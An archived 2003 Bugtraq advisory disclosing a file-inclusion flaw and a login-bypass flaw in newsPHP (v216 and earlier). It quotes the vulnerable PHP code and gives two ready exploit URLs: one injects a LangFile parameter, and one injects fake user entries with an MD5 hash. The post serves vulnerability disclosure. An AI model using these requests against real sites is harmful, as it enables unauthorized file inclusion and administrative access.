bugtraq - newsPHP file inclusion & bad login validation

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 25 Aug 2003 05:04:22 +0200
From: Dariusz 'Officerrr' Kolasinski <officerrr@...igon.com.pl>
To: bugtraq@...urityfocus.com
Subject: newsPHP file inclusion & bad login validation


newsPHP arbitary file inclusion & bad login validation

===+++===+++===+++
Product: newsPHP
Version: <= v216
Vendor: http://www.nphp.net
Author: Officerrr <officerrr@...igon.com.pl>
Discover by: Officerrr <officerrr@...igon.com.pl>
Vendor Response: Not contacted yet...
===+++===+++===+++


Problem #1:
===+++===+++===+++
Attacker can include any existing file on the web server,
if the LangFile is not set in config (it is not set by default).


PHP Code/Location #1:
===+++===+++===+++
-- from nphpd.php
[..]
// We know what we are supposed to be doing
// now. Load in a custom language if they
// have it set.
[..]
Oh yeah, we are ;]
[..]
  if(isset($nphp_config["LangFile"]))
  {
   if(strtolower($nphp_config["LangFile"]) != "default" && $nphp_config["LangFile"] != "" && file_exists($nphp_config["LangFile"]))
   {   
     include($nphp_config["LangFile"]);
   }
  }
[...]


Exploit #1:
===+++===+++===+++
http://[host]/nphp/nphpd.php?nphp_config[LangFile]=/evil/file


Problem #2:
===+++===+++===+++  
User can preform any other action than 'login' without knowing
the password and valid username.


Snip #2:
===+++===+++===+++
md5('a') is '0cc175b9c0f1b6a831c399e269772661'


PHP Code/Location #2:
===+++===+++===+++
-- from nfunc.php
  function LoadSettings(&$config, &$users)
[...]
          $users[$id][] = eregi_replace("[\n\r]","",$raw_config_line[$x]);
[...]

-- from nphpd.php
[...]
LoadSettings($nphp_config, $nphp_users);
[...]
    for($i = 0; $i < count($nphp_users); $i++)
          {
                  if((strtolower($nphp_users[$i][0]) == strtolower($uname)) && ($nphp_users[$i][1] == md5($pword)))
                  {
[...]
// hmmmm so we can inject users using nphp_users[index] in url


Exploit #2:
===+++===+++===+++
http://[host]/nphp/?[action here, example: output]&
     pword=a&
     uname=[fake usernamehere]&
     nphp_users[user index here][0]=a&
     nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
     nphp_users[user index here][3]=5

-- 
Pozdrawiam,
Dariusz 'Officerrr' Kolasinski
[Linux Administrator] [gg: 516354] [uin: 83041742]
"Silent my voice, I've got no choice..."